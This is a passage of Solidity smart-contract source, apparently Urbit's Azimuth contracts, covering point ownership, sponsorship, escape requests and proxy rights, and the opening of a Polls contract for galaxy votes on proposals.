mapping(uint32 => uint32[]) public escapeRequests;
// escapeRequestsIndexes: per point, per point, (index + 1) in
// the escapeRequests array
//
mapping(uint32 => mapping(uint32 => uint256)) public escapeRequestsIndexes;
// pointsOwnedBy: per address, the points they own
//
mapping(address => uint32[]) public pointsOwnedBy;
// pointOwnerIndexes: per owner, per point, (index + 1) in
// the pointsOwnedBy array
//
// We delete owners by moving the last entry in the array to the
// newly emptied slot, which is (n - 1) where n is the value of
// pointOwnerIndexes[owner][point].
//
mapping(address => mapping(uint32 => uint256)) public pointOwnerIndexes;
// managerFor: per address, the points they are the management proxy for
//
mapping(address => uint32[]) public managerFor;
// managerForIndexes: per address, per point, (index + 1) in
// the managerFor array
//
mapping(address => mapping(uint32 => uint256)) public managerForIndexes;
// spawningFor: per address, the points they can spawn with
//
mapping(address => uint32[]) public spawningFor;
// spawningForIndexes: per address, per point, (index + 1) in
// the spawningFor array
//
mapping(address => mapping(uint32 => uint256)) public spawningForIndexes;
// votingFor: per address, the points they can vote with
//
mapping(address => uint32[]) public votingFor;
// votingForIndexes: per address, per point, (index + 1) in
// the votingFor array
//
mapping(address => mapping(uint32 => uint256)) public votingForIndexes;
// transferringFor: per address, the points they can transfer
//
mapping(address => uint32[]) public transferringFor;
// transferringForIndexes: per address, per point, (index + 1) in
// the transferringFor array
//
mapping(address => mapping(uint32 => uint256)) public transferringForIndexes;
//
// Logic
//
// constructor(): configure default dns domains
//
constructor()
public
{
setDnsDomains("example.com", "example.com", "example.com");
}
// setDnsDomains(): set the base domains used for contacting galaxies
//
// Note: since a string is really just a byte[], and Solidity can't
// work with two-dimensional arrays yet, we pass in the three
// domains as individual strings.
//
function setDnsDomains(string _primary, string _secondary, string _tertiary)
onlyOwner
public
{
dnsDomains[0] = _primary;
dnsDomains[1] = _secondary;
dnsDomains[2] = _tertiary;
emit ChangedDns(_primary, _secondary, _tertiary);
}
//
// Point reading
//
// isActive(): return true if _point is active
//
function isActive(uint32 _point)
view
external
returns (bool equals)
{
return points[_point].active;
}
// getKeys(): returns the public keys and their details, as currently
// registered for _point
//
function getKeys(uint32 _point)
view
external
returns (bytes32 crypt, bytes32 auth, uint32 suite, uint32 revision)
{
Point storage point = points[_point];
return (point.encryptionKey,
point.authenticationKey,
point.cryptoSuiteVersion,
point.keyRevisionNumber);
}
// getKeyRevisionNumber(): gets the revision number of _point's current
// public keys
//
function getKeyRevisionNumber(uint32 _point)
view
external
returns (uint32 revision)
{
return points[_point].keyRevisionNumber;
}
// hasBeenLinked(): returns true if the point has ever been assigned keys
//
function hasBeenLinked(uint32 _point)
view
external
returns (bool result)
{
return ( points[_point].keyRevisionNumber > 0 );
}
// isLive(): returns true if _point currently has keys properly configured
//
function isLive(uint32 _point)
view
external
returns (bool result)
{
Point storage point = points[_point];
return ( point.encryptionKey != 0 &&
point.authenticationKey != 0 &&
point.cryptoSuiteVersion != 0 );
}
// getContinuityNumber(): returns _point's current continuity number
//
function getContinuityNumber(uint32 _point)
view
external
returns (uint32 continuityNumber)
{
return points[_point].continuityNumber;
}
// getSpawnCount(): return the number of children spawned by _point
//
function getSpawnCount(uint32 _point)
view
external
returns (uint32 spawnCount)
{
uint256 len = points[_point].spawned.length;
assert(len < 2**32);
return uint32(len);
}
// getSpawned(): return array of points created under _point
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getSpawned(uint32 _point)
view
external
returns (uint32[] spawned)
{
return points[_point].spawned;
}
// hasSponsor(): returns true if _point's sponsor is providing it service
//
function hasSponsor(uint32 _point)
view
external
returns (bool has)
{
return points[_point].hasSponsor;
}
// getSponsor(): returns _point's current (or most recent) sponsor
//
function getSponsor(uint32 _point)
view
external
returns (uint32 sponsor)
{
return points[_point].sponsor;
}
// isSponsor(): returns true if _sponsor is currently providing service
// to _point
//
function isSponsor(uint32 _point, uint32 _sponsor)
view
external
returns (bool result)
{
Point storage point = points[_point];
return ( point.hasSponsor &&
(point.sponsor == _sponsor) );
}
// getSponsoringCount(): returns the number of points _sponsor is
// providing service to
//
function getSponsoringCount(uint32 _sponsor)
view
external
returns (uint256 count)
{
return sponsoring[_sponsor].length;
}
// getSponsoring(): returns a list of points _sponsor is providing
// service to
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getSponsoring(uint32 _sponsor)
view
external
returns (uint32[] sponsees)
{
return sponsoring[_sponsor];
}
// escaping
// isEscaping(): returns true if _point has an outstanding escape request
//
function isEscaping(uint32 _point)
view
external
returns (bool escaping)
{
return points[_point].escapeRequested;
}
// getEscapeRequest(): returns _point's current escape request
//
// the returned escape request is only valid as long as isEscaping()
// returns true
//
function getEscapeRequest(uint32 _point)
view
external
returns (uint32 escape)
{
return points[_point].escapeRequestedTo;
}
// isRequestingEscapeTo(): returns true if _point has an outstanding
// escape request targetting _sponsor
//
function isRequestingEscapeTo(uint32 _point, uint32 _sponsor)
view
public
returns (bool equals)
{
Point storage point = points[_point];
return (point.escapeRequested && (point.escapeRequestedTo == _sponsor));
}
// getEscapeRequestsCount(): returns the number of points _sponsor
// is providing service to
//
function getEscapeRequestsCount(uint32 _sponsor)
view
external
returns (uint256 count)
{
return escapeRequests[_sponsor].length;
}
// getEscapeRequests(): get the points _sponsor has received escape
// requests from
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getEscapeRequests(uint32 _sponsor)
view
external
returns (uint32[] requests)
{
return escapeRequests[_sponsor];
}
//
// Point writing
//
// activatePoint(): activate a point, register it as spawned by its prefix
//
function activatePoint(uint32 _point)
onlyOwner
external
{
// make a point active, setting its sponsor to its prefix
//
Point storage point = points[_point];
require(!point.active);
point.active = true;
registerSponsor(_point, true, getPrefix(_point));
emit Activated(_point);
}
// setKeys(): set network public keys of _point to _encryptionKey and
// _authenticationKey, with the specified _cryptoSuiteVersion
//
function setKeys(uint32 _point,
bytes32 _encryptionKey,
bytes32 _authenticationKey,
uint32 _cryptoSuiteVersion)
onlyOwner
external
{
Point storage point = points[_point];
if ( point.encryptionKey == _encryptionKey &&
point.authenticationKey == _authenticationKey &&
point.cryptoSuiteVersion == _cryptoSuiteVersion )
{
return;
}
point.encryptionKey = _encryptionKey;
point.authenticationKey = _authenticationKey;
point.cryptoSuiteVersion = _cryptoSuiteVersion;
point.keyRevisionNumber++;
emit ChangedKeys(_point,
_encryptionKey,
_authenticationKey,
_cryptoSuiteVersion,
point.keyRevisionNumber);
}
// incrementContinuityNumber(): break continuity for _point
//
function incrementContinuityNumber(uint32 _point)
onlyOwner
external
{
Point storage point = points[_point];
point.continuityNumber++;
emit BrokeContinuity(_point, point.continuityNumber);
}
// registerSpawn(): add a point to its prefix's list of spawned points
//
function registerSpawned(uint32 _point)
onlyOwner
external
{
// if a point is its own prefix (a galaxy) then don't register it
//
uint32 prefix = getPrefix(_point);
if (prefix == _point)
{
return;
}
// register a new spawned point for the prefix
//
points[prefix].spawned.push(_point);
emit Spawned(prefix, _point);
}
// loseSponsor(): indicates that _point's sponsor is no longer providing
// it service
//
function loseSponsor(uint32 _point)
onlyOwner
external
{
Point storage point = points[_point];
if (!point.hasSponsor)
{
return;
}
registerSponsor(_point, false, point.sponsor);
emit LostSponsor(_point, point.sponsor);
}
// setEscapeRequest(): for _point, start an escape request to _sponsor
//
function setEscapeRequest(uint32 _point, uint32 _sponsor)
onlyOwner
external
{
if (isRequestingEscapeTo(_point, _sponsor))
{
return;
}
registerEscapeRequest(_point, true, _sponsor);
emit EscapeRequested(_point, _sponsor);
}
// cancelEscape(): for _point, stop the current escape request, if any
//
function cancelEscape(uint32 _point)
onlyOwner
external
{
Point storage point = points[_point];
if (!point.escapeRequested)
{
return;
}
uint32 request = point.escapeRequestedTo;
registerEscapeRequest(_point, false, 0);
emit EscapeCanceled(_point, request);
}
// doEscape(): perform the requested escape
//
function doEscape(uint32 _point)
onlyOwner
external
{
Point storage point = points[_point];
require(point.escapeRequested);
registerSponsor(_point, true, point.escapeRequestedTo);
registerEscapeRequest(_point, false, 0);
emit EscapeAccepted(_point, point.sponsor);
}
//
// Point utils
//
// getPrefix(): compute prefix ("parent") of _point
//
function getPrefix(uint32 _point)
pure
public
returns (uint16 prefix)
{
if (_point < 0x10000)
{
return uint16(_point % 0x100);
}
return uint16(_point % 0x10000);
}
// getPointSize(): return the size of _point
//
function getPointSize(uint32 _point)
external
pure
returns (Size _size)
{
if (_point < 0x100) return Size.Galaxy;
if (_point < 0x10000) return Size.Star;
return Size.Planet;
}
// internal use
// registerSponsor(): set the sponsorship state of _point and update the
// reverse lookup for sponsors
//
function registerSponsor(uint32 _point, bool _hasSponsor, uint32 _sponsor)
internal
{
Point storage point = points[_point];
bool had = point.hasSponsor;
uint32 prev = point.sponsor;
// if we didn't have a sponsor, and won't get one,
// or if we get the sponsor we already have,
// nothing will change, so jump out early.
//
if ( (!had && !_hasSponsor) ||
(had && _hasSponsor && prev == _sponsor) )
{
return;
}
// if the point used to have a different sponsor, do some gymnastics
// to keep the reverse lookup gapless. delete the point from the old
// sponsor's list, then fill that gap with the list tail.
//
if (had)
{
// i: current index in previous sponsor's list of sponsored points
//
uint256 i = sponsoringIndexes[prev][_point];
// we store index + 1, because 0 is the solidity default value
//
assert(i > 0);
i--;
// copy the last item in the list into the now-unused slot,
// making sure to update its :sponsoringIndexes reference
//
uint32[] storage prevSponsoring = sponsoring[prev];
uint256 last = prevSponsoring.length - 1;
uint32 moved = prevSponsoring[last];
prevSponsoring[i] = moved;
sponsoringIndexes[prev][moved] = i + 1;
// delete the last item
//
delete(prevSponsoring[last]);
prevSponsoring.length = last;
sponsoringIndexes[prev][_point] = 0;
}
if (_hasSponsor)
{
uint32[] storage newSponsoring = sponsoring[_sponsor];
newSponsoring.push(_point);
sponsoringIndexes[_sponsor][_point] = newSponsoring.length;
}
point.sponsor = _sponsor;
point.hasSponsor = _hasSponsor;
}
// registerEscapeRequest(): set the escape state of _point and update the
// reverse lookup for sponsors
//
function registerEscapeRequest( uint32 _point,
bool _isEscaping, uint32 _sponsor )
internal
{
Point storage point = points[_point];
bool was = point.escapeRequested;
uint32 prev = point.escapeRequestedTo;
// if we weren't escaping, and won't be,
// or if we were escaping, and the new target is the same,
// nothing will change, so jump out early.
//
if ( (!was && !_isEscaping) ||
(was && _isEscaping && prev == _sponsor) )
{
return;
}
// if the point used to have a different request, do some gymnastics
// to keep the reverse lookup gapless. delete the point from the old
// sponsor's list, then fill that gap with the list tail.
//
if (was)
{
// i: current index in previous sponsor's list of sponsored points
//
uint256 i = escapeRequestsIndexes[prev][_point];
// we store index + 1, because 0 is the solidity default value
//
assert(i > 0);
i--;
// copy the last item in the list into the now-unused slot,
// making sure to update its :escapeRequestsIndexes reference
//
uint32[] storage prevRequests = escapeRequests[prev];
uint256 last = prevRequests.length - 1;
uint32 moved = prevRequests[last];
prevRequests[i] = moved;
escapeRequestsIndexes[prev][moved] = i + 1;
// delete the last item
//
delete(prevRequests[last]);
prevRequests.length = last;
escapeRequestsIndexes[prev][_point] = 0;
}
if (_isEscaping)
{
uint32[] storage newRequests = escapeRequests[_sponsor];
newRequests.push(_point);
escapeRequestsIndexes[_sponsor][_point] = newRequests.length;
}
point.escapeRequestedTo = _sponsor;
point.escapeRequested = _isEscaping;
}
//
// Deed reading
//
// owner
// getOwner(): return owner of _point
//
function getOwner(uint32 _point)
view
external
returns (address owner)
{
return rights[_point].owner;
}
// isOwner(): true if _point is owned by _address
//
function isOwner(uint32 _point, address _address)
view
external
returns (bool result)
{
return (rights[_point].owner == _address);
}
// getOwnedPointCount(): return length of array of points that _whose owns
//
function getOwnedPointCount(address _whose)
view
external
returns (uint256 count)
{
return pointsOwnedBy[_whose].length;
}
// getOwnedPoints(): return array of points that _whose owns
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getOwnedPoints(address _whose)
view
external
returns (uint32[] ownedPoints)
{
return pointsOwnedBy[_whose];
}
// getOwnedPointAtIndex(): get point at _index from array of points that
// _whose owns
//
function getOwnedPointAtIndex(address _whose, uint256 _index)
view
external
returns (uint32 point)
{
uint32[] storage owned = pointsOwnedBy[_whose];
require(_index < owned.length);
return owned[_index];
}
// management proxy
// getManagementProxy(): returns _point's current management proxy
//
function getManagementProxy(uint32 _point)
view
external
returns (address manager)
{
return rights[_point].managementProxy;
}
// isManagementProxy(): returns true if _proxy is _point's management proxy
//
function isManagementProxy(uint32 _point, address _proxy)
view
external
returns (bool result)
{
return (rights[_point].managementProxy == _proxy);
}
// canManage(): true if _who is the owner or manager of _point
//
function canManage(uint32 _point, address _who)
view
external
returns (bool result)
{
Deed storage deed = rights[_point];
return ( (0x0 != _who) &&
( (_who == deed.owner) ||
(_who == deed.managementProxy) ) );
}
// getManagerForCount(): returns the amount of points _proxy can manage
//
function getManagerForCount(address _proxy)
view
external
returns (uint256 count)
{
return managerFor[_proxy].length;
}
// getManagerFor(): returns the points _proxy can manage
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getManagerFor(address _proxy)
view
external
returns (uint32[] mfor)
{
return managerFor[_proxy];
}
// spawn proxy
// getSpawnProxy(): returns _point's current spawn proxy
//
function getSpawnProxy(uint32 _point)
view
external
returns (address spawnProxy)
{
return rights[_point].spawnProxy;
}
// isSpawnProxy(): returns true if _proxy is _point's spawn proxy
//
function isSpawnProxy(uint32 _point, address _proxy)
view
external
returns (bool result)
{
return (rights[_point].spawnProxy == _proxy);
}
// canSpawnAs(): true if _who is the owner or spawn proxy of _point
//
function canSpawnAs(uint32 _point, address _who)
view
external
returns (bool result)
{
Deed storage deed = rights[_point];
return ( (0x0 != _who) &&
( (_who == deed.owner) ||
(_who == deed.spawnProxy) ) );
}
// getSpawningForCount(): returns the amount of points _proxy
// can spawn with
//
function getSpawningForCount(address _proxy)
view
external
returns (uint256 count)
{
return spawningFor[_proxy].length;
}
// getSpawningFor(): get the points _proxy can spawn with
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getSpawningFor(address _proxy)
view
external
returns (uint32[] sfor)
{
return spawningFor[_proxy];
}
// voting proxy
// getVotingProxy(): returns _point's current voting proxy
//
function getVotingProxy(uint32 _point)
view
external
returns (address voter)
{
return rights[_point].votingProxy;
}
// isVotingProxy(): returns true if _proxy is _point's voting proxy
//
function isVotingProxy(uint32 _point, address _proxy)
view
external
returns (bool result)
{
return (rights[_point].votingProxy == _proxy);
}
// canVoteAs(): true if _who is the owner of _point,
// or the voting proxy of _point's owner
//
function canVoteAs(uint32 _point, address _who)
view
external
returns (bool result)
{
Deed storage deed = rights[_point];
return ( (0x0 != _who) &&
( (_who == deed.owner) ||
(_who == deed.votingProxy) ) );
}
// getVotingForCount(): returns the amount of points _proxy can vote as
//
function getVotingForCount(address _proxy)
view
external
returns (uint256 count)
{
return votingFor[_proxy].length;
}
// getVotingFor(): returns the points _proxy can vote as
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getVotingFor(address _proxy)
view
external
returns (uint32[] vfor)
{
return votingFor[_proxy];
}
// transfer proxy
// getTransferProxy(): returns _point's current transfer proxy
//
function getTransferProxy(uint32 _point)
view
external
returns (address transferProxy)
{
return rights[_point].transferProxy;
}
// isTransferProxy(): returns true if _proxy is _point's transfer proxy
//
function isTransferProxy(uint32 _point, address _proxy)
view
external
returns (bool result)
{
return (rights[_point].transferProxy == _proxy);
}
// canTransfer(): true if _who is the owner or transfer proxy of _point,
// or is an operator for _point's current owner
//
function canTransfer(uint32 _point, address _who)
view
external
returns (bool result)
{
Deed storage deed = rights[_point];
return ( (0x0 != _who) &&
( (_who == deed.owner) ||
(_who == deed.transferProxy) ||
operators[deed.owner][_who] ) );
}
// getTransferringForCount(): returns the amount of points _proxy
// can transfer
//
function getTransferringForCount(address _proxy)
view
external
returns (uint256 count)
{
return transferringFor[_proxy].length;
}
// getTransferringFor(): get the points _proxy can transfer
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getTransferringFor(address _proxy)
view
external
returns (uint32[] tfor)
{
return transferringFor[_proxy];
}
// isOperator(): returns true if _operator is allowed to transfer
// ownership of _owner's points
//
function isOperator(address _owner, address _operator)
view
external
returns (bool result)
{
return operators[_owner][_operator];
}
//
// Deed writing
//
// setOwner(): set owner of _point to _owner
//
// Note: setOwner() only implements the minimal data storage
// logic for a transfer; the full transfer is implemented in
// Ecliptic.
//
// Note: _owner must not be the zero address.
//
function setOwner(uint32 _point, address _owner)
onlyOwner
external
{
// prevent burning of points by making zero the owner
//
require(0x0 != _owner);
// prev: previous owner, if any
//
address prev = rights[_point].owner;
if (prev == _owner)
{
return;
}
// if the point used to have a different owner, do some gymnastics to
// keep the list of owned points gapless. delete this point from the
// list, then fill that gap with the list tail.
//
if (0x0 != prev)
{
// i: current index in previous owner's list of owned points
//
uint256 i = pointOwnerIndexes[prev][_point];
// we store index + 1, because 0 is the solidity default value
//
assert(i > 0);
i--;
// copy the last item in the list into the now-unused slot,
// making sure to update its :pointOwnerIndexes reference
//
uint32[] storage owner = pointsOwnedBy[prev];
uint256 last = owner.length - 1;
uint32 moved = owner[last];
owner[i] = moved;
pointOwnerIndexes[prev][moved] = i + 1;
// delete the last item
//
delete(owner[last]);
owner.length = last;
pointOwnerIndexes[prev][_point] = 0;
}
// update the owner list and the owner's index list
//
rights[_point].owner = _owner;
pointsOwnedBy[_owner].push(_point);
pointOwnerIndexes[_owner][_point] = pointsOwnedBy[_owner].length;
emit OwnerChanged(_point, _owner);
}
// setManagementProxy(): makes _proxy _point's management proxy
//
function setManagementProxy(uint32 _point, address _proxy)
onlyOwner
external
{
Deed storage deed = rights[_point];
address prev = deed.managementProxy;
if (prev == _proxy)
{
return;
}
// if the point used to have a different manager, do some gymnastics
// to keep the reverse lookup gapless. delete the point from the
// old manager's list, then fill that gap with the list tail.
//
if (0x0 != prev)
{
// i: current index in previous manager's list of managed points
//
uint256 i = managerForIndexes[prev][_point];
// we store index + 1, because 0 is the solidity default value
//
assert(i > 0);
i--;
// copy the last item in the list into the now-unused slot,
// making sure to update its :managerForIndexes reference
//
uint32[] storage prevMfor = managerFor[prev];
uint256 last = prevMfor.length - 1;
uint32 moved = prevMfor[last];
prevMfor[i] = moved;
managerForIndexes[prev][moved] = i + 1;
// delete the last item
//
delete(prevMfor[last]);
prevMfor.length = last;
managerForIndexes[prev][_point] = 0;
}
if (0x0 != _proxy)
{
uint32[] storage mfor = managerFor[_proxy];
mfor.push(_point);
managerForIndexes[_proxy][_point] = mfor.length;
}
deed.managementProxy = _proxy;
emit ChangedManagementProxy(_point, _proxy);
}
// setSpawnProxy(): makes _proxy _point's spawn proxy
//
function setSpawnProxy(uint32 _point, address _proxy)
onlyOwner
external
{
Deed storage deed = rights[_point];
address prev = deed.spawnProxy;
if (prev == _proxy)
{
return;
}
// if the point used to have a different spawn proxy, do some
// gymnastics to keep the reverse lookup gapless. delete the point
// from the old proxy's list, then fill that gap with the list tail.
//
if (0x0 != prev)
{
// i: current index in previous proxy's list of spawning points
//
uint256 i = spawningForIndexes[prev][_point];
// we store index + 1, because 0 is the solidity default value
//
assert(i > 0);
i--;
// copy the last item in the list into the now-unused slot,
// making sure to update its :spawningForIndexes reference
//
uint32[] storage prevSfor = spawningFor[prev];
uint256 last = prevSfor.length - 1;
uint32 moved = prevSfor[last];
prevSfor[i] = moved;
spawningForIndexes[prev][moved] = i + 1;
// delete the last item
//
delete(prevSfor[last]);
prevSfor.length = last;
spawningForIndexes[prev][_point] = 0;
}
if (0x0 != _proxy)
{
uint32[] storage sfor = spawningFor[_proxy];
sfor.push(_point);
spawningForIndexes[_proxy][_point] = sfor.length;
}
deed.spawnProxy = _proxy;
emit ChangedSpawnProxy(_point, _proxy);
}
// setVotingProxy(): makes _proxy _point's voting proxy
//
function setVotingProxy(uint32 _point, address _proxy)
onlyOwner
external
{
Deed storage deed = rights[_point];
address prev = deed.votingProxy;
if (prev == _proxy)
{
return;
}
// if the point used to have a different voter, do some gymnastics
// to keep the reverse lookup gapless. delete the point from the
// old voter's list, then fill that gap with the list tail.
//
if (0x0 != prev)
{
// i: current index in previous voter's list of points it was
// voting for
//
uint256 i = votingForIndexes[prev][_point];
// we store index + 1, because 0 is the solidity default value
//
assert(i > 0);
i--;
// copy the last item in the list into the now-unused slot,
// making sure to update its :votingForIndexes reference
//
uint32[] storage prevVfor = votingFor[prev];
uint256 last = prevVfor.length - 1;
uint32 moved = prevVfor[last];
prevVfor[i] = moved;
votingForIndexes[prev][moved] = i + 1;
// delete the last item
//
delete(prevVfor[last]);
prevVfor.length = last;
votingForIndexes[prev][_point] = 0;
}
if (0x0 != _proxy)
{
uint32[] storage vfor = votingFor[_proxy];
vfor.push(_point);
votingForIndexes[_proxy][_point] = vfor.length;
}
deed.votingProxy = _proxy;
emit ChangedVotingProxy(_point, _proxy);
}
// setManagementProxy(): makes _proxy _point's transfer proxy
//
function setTransferProxy(uint32 _point, address _proxy)
onlyOwner
external
{
Deed storage deed = rights[_point];
address prev = deed.transferProxy;
if (prev == _proxy)
{
return;
}
// if the point used to have a different transfer proxy, do some
// gymnastics to keep the reverse lookup gapless. delete the point
// from the old proxy's list, then fill that gap with the list tail.
//
if (0x0 != prev)
{
// i: current index in previous proxy's list of transferable points
//
uint256 i = transferringForIndexes[prev][_point];
// we store index + 1, because 0 is the solidity default value
//
assert(i > 0);
i--;
// copy the last item in the list into the now-unused slot,
// making sure to update its :transferringForIndexes reference
//
uint32[] storage prevTfor = transferringFor[prev];
uint256 last = prevTfor.length - 1;
uint32 moved = prevTfor[last];
prevTfor[i] = moved;
transferringForIndexes[prev][moved] = i + 1;
// delete the last item
//
delete(prevTfor[last]);
prevTfor.length = last;
transferringForIndexes[prev][_point] = 0;
}
if (0x0 != _proxy)
{
uint32[] storage tfor = transferringFor[_proxy];
tfor.push(_point);
transferringForIndexes[_proxy][_point] = tfor.length;
}
deed.transferProxy = _proxy;
emit ChangedTransferProxy(_point, _proxy);
}
// setOperator(): dis/allow _operator to transfer ownership of all points
// owned by _owner
//
// operators are part of the ERC721 standard
//
function setOperator(address _owner, address _operator, bool _approved)
onlyOwner
external
{
operators[_owner][_operator] = _approved;
}
}
// Azimuth's ReadsAzimuth.sol
// ReadsAzimuth: referring to and testing against the Azimuth
// data contract
//
// To avoid needless repetition, this contract provides common
// checks and operations using the Azimuth contract.
//
contract ReadsAzimuth
{
// azimuth: points data storage contract.
//
Azimuth public azimuth;
// constructor(): set the Azimuth data contract's address
//
constructor(Azimuth _azimuth)
public
{
azimuth = _azimuth;
}
// activePointOwner(): require that :msg.sender is the owner of _point,
// and that _point is active
//
modifier activePointOwner(uint32 _point)
{
require( azimuth.isOwner(_point, msg.sender) &&
azimuth.isActive(_point) );
_;
}
// activePointManager(): require that :msg.sender can manage _point,
// and that _point is active
//
modifier activePointManager(uint32 _point)
{
require( azimuth.canManage(_point, msg.sender) &&
azimuth.isActive(_point) );
_;
}
}
// Azimuth's Polls.sol
// Polls: proposals & votes data contract
//
// This contract is used for storing all data related to the proposals
// of the senate (galaxy owners) and their votes on those proposals.
// It keeps track of votes and uses them to calculate whether a majority
// is in favor of a proposal.
//
// Every galaxy can only vote on a proposal exactly once. Votes cannot
// be changed. If a proposal fails to achieve majority within its
// duration, it can be restarted after its cooldown period has passed.
//
// The requirements for a proposal to achieve majority are as follows:
// - At least 1/4 of the currently active voters (rounded down) must have
// voted in favor of the proposal,
// - More than half of the votes cast must be in favor of the proposal,
// and this can no longer change, either because
// - the poll duration has passed, or
// - not enough voters remain to take away the in-favor majority.
// As soon as these conditions are met, no further interaction with
// the proposal is possible. Achieving majority is permanent.
//
// Since data stores are difficult to upgrade, all of the logic unrelated
// to the voting itself (that is, determining who is eligible to vote)
// is expected to be implemented by this contract's owner.
//
// This contract will be owned by the Ecliptic contract.
//
contract Polls is Ownable
{
using SafeMath for uint256;
using SafeMath16 for uint16;
using SafeMath8 for uint8;
// UpgradePollStarted: a poll on :proposal has opened
//
event UpgradePollStarted(address proposal);
// DocumentPollStarted: a poll on :proposal has opened
//
event DocumentPollStarted(bytes32 proposal);
// UpgradeMajority: :proposal has achieved majority
//
event UpgradeMajority(address proposal);
// DocumentMajority: :proposal has achieved majority
//
event DocumentMajority(bytes32 proposal);
// Poll: full poll state
//
struct Poll
{
// start: the timestamp at which the poll was started
//
uint256 start;
// voted: per galaxy, whether they have voted on this poll
//
bool[256] voted;
// yesVotes: amount of votes in favor of the proposal
//
uint16 yesVotes;
// noVotes: amount of votes against the proposal
//
uint16 noVotes;
// duration: amount of time during which the poll can be voted on
//
uint256 duration;
// cooldown: amount of time before the (non-majority) poll can be reopened
//
uint256 cooldown;
}
// pollDuration: duration set for new polls. see also Poll.duration above
//
uint256 public pollDuration;
// pollCooldown: cooldown set for new polls. see also Poll.cooldown above
//
uint256 public pollCooldown;
// totalVoters: amount of active galaxies
//
uint16 public totalVoters;
// upgradeProposals: list of all upgrades ever proposed
//
// this allows clients to discover the existence of polls.
// from there, they can do liveness checks on the polls themselves.
//
address[] public upgradeProposals;
// upgradePolls: per address, poll held to determine if that address
// will become the new ecliptic
//
mapping(address => Poll) public upgradePolls;
// upgradeHasAchievedMajority: per address, whether that address
// has ever achieved majority
//
// If we did not store this, we would have to look at old poll data
// to see whether or not a proposal has ever achieved majority.
// Since the outcome of a poll is calculated based on :totalVoters,
// which may not be consistent across time, we need to store outcomes
// explicitly instead of re-calculating them. This allows us to always
// tell with certainty whether or not a majority was achieved,
// regardless of the current :totalVoters.
//
mapping(address => bool) public upgradeHasAchievedMajority;
// documentProposals: list of all documents ever proposed
//
// this allows clients to discover the existence of polls.
// from there, they can do liveness checks on the polls themselves.
//
bytes32[] public documentProposals;
// documentPolls: per hash, poll held to determine if the corresponding
// document is accepted by the galactic senate
//
mapping(bytes32 => Poll) public documentPolls;
// documentHasAchievedMajority: per hash, whether that hash has ever
// achieved majority
//
// the note for upgradeHasAchievedMajority above applies here as well
//
mapping(bytes32 => bool) public documentHasAchievedMajority;
// documentMajorities: all hashes that have achieved majority
//
bytes32[] public documentMajorities;
// constructor(): initial contract configuration
//
constructor(uint256 _pollDuration, uint256 _pollCooldown)
public
{
reconfigure(_pollDuration, _pollCooldown);
}
// reconfigure(): change poll duration and cooldown
//
function reconfigure(uint256 _pollDuration, uint256 _pollCooldown)
public
onlyOwner
{
require( (5 days <= _pollDuration) && (_pollDuration <= 90 days) &&
(5 days <= _pollCooldown) && (_pollCooldown <= 90 days) );
pollDuration = _pollDuration;
pollCooldown = _pollCooldown;
}
// incrementTotalVoters(): increase the amount of registered voters
//
function incrementTotalVoters()
external
onlyOwner
{
require(totalVoters < 256);
totalVoters = totalVoters.add(1);
}
// getAllUpgradeProposals(): return array of all upgrade proposals ever made
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getUpgradeProposals()
external
view
returns (address[] proposals)
{
return upgradeProposals;
}
// getUpgradeProposalCount(): get the number of unique proposed upgrades
//
function getUpgradeProposalCount()
external
view
returns (uint256 count)
{
return upgradeProposals.length;
}
// getAllDocumentProposals(): return array of all upgrade proposals ever made
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getDocumentProposals()
external
view
returns (bytes32[] proposals)
{
return documentProposals;
}
// getDocumentProposalCount(): get the number of unique proposed upgrades
//
function getDocumentProposalCount()
external
view
returns (uint256 count)
{
return documentProposals.length;
}
// getDocumentMajorities(): return array of all document majorities
//
// Note: only useful for clients, as Solidity does not currently
// support returning dynamic arrays.
//
function getDocumentMajorities()
external
view
returns (bytes32[] majorities)
{
return documentMajorities;
}
// hasVotedOnUpgradePoll(): returns true if _galaxy has voted
// on the _proposal
//
function hasVotedOnUpgradePoll(uint8 _galaxy, address _proposal)
external
view
returns (bool result)
{
return upgradePolls[_proposal].voted[_galaxy];
}
// hasVotedOnDocumentPoll(): returns true if _galaxy has voted
// on the _proposal
//
function hasVotedOnDocumentPoll(uint8 _galaxy, bytes32 _proposal)
external
view
returns (bool result)
{
return documentPolls[_proposal].voted[_galaxy];
}
// startUpgradePoll(): open a poll on making _proposal the new ecliptic
//
function startUpgradePoll(address _proposal)
external
onlyOwner
{
// _proposal must not have achieved majority before
//
require(!upgradeHasAchievedMajority[_proposal]);
Poll storage poll = upgradePolls[_proposal];
// if the proposal is being made for the first time, register it.
//
if (0 == poll.start)
{
upgradeProposals.push(_proposal);
}
startPoll(poll);
emit UpgradePollStarted(_proposal);
}
// startDocumentPoll(): open a poll on accepting the document
// whose hash is _proposal
//
function startDocumentPoll(bytes32 _proposal)
external
onlyOwner
{
// _proposal must not have achieved majority before
//
require(!documentHasAchievedMajority[_proposal]);
Poll storage poll = documentPolls[_proposal];
// if the proposal is being made for the first time, register it.
//
if (0 == poll.start)
{
documentProposals.push(_proposal);
}
startPoll(poll);
emit DocumentPollStarted(_proposal);
}
// startPoll(): open a new poll, or re-open an old one
//
function startPoll(Poll storage _poll)
internal
{
// check that the poll has cooled down enough to be started again
//
// for completely new polls, the values used will be zero
//
require( block.timestamp > ( _poll.start.add(
_poll.duration.add(
_poll.cooldown )) ) );
// set started poll state
//
_poll.start = block.timestamp;
delete _poll.voted;
_poll.yesVotes = 0;
_poll.noVotes = 0;
_poll.duration = pollDuration;
_poll.cooldown = pollCooldown;
}
// castUpgradeVote(): as galaxy _as, cast a vote on the _proposal
//
// _vote is true when in favor of the proposal, false otherwise
//
function castUpgradeVote(uint8 _as, address _proposal, bool _vote)
external
onlyOwner
returns (bool majority)
{
Poll storage poll = upgradePolls[_proposal];
processVote(poll, _as, _vote);
return updateUpgradePoll(_proposal);
}
// castDocumentVote(): as galaxy _as, cast a vote on the _proposal
//
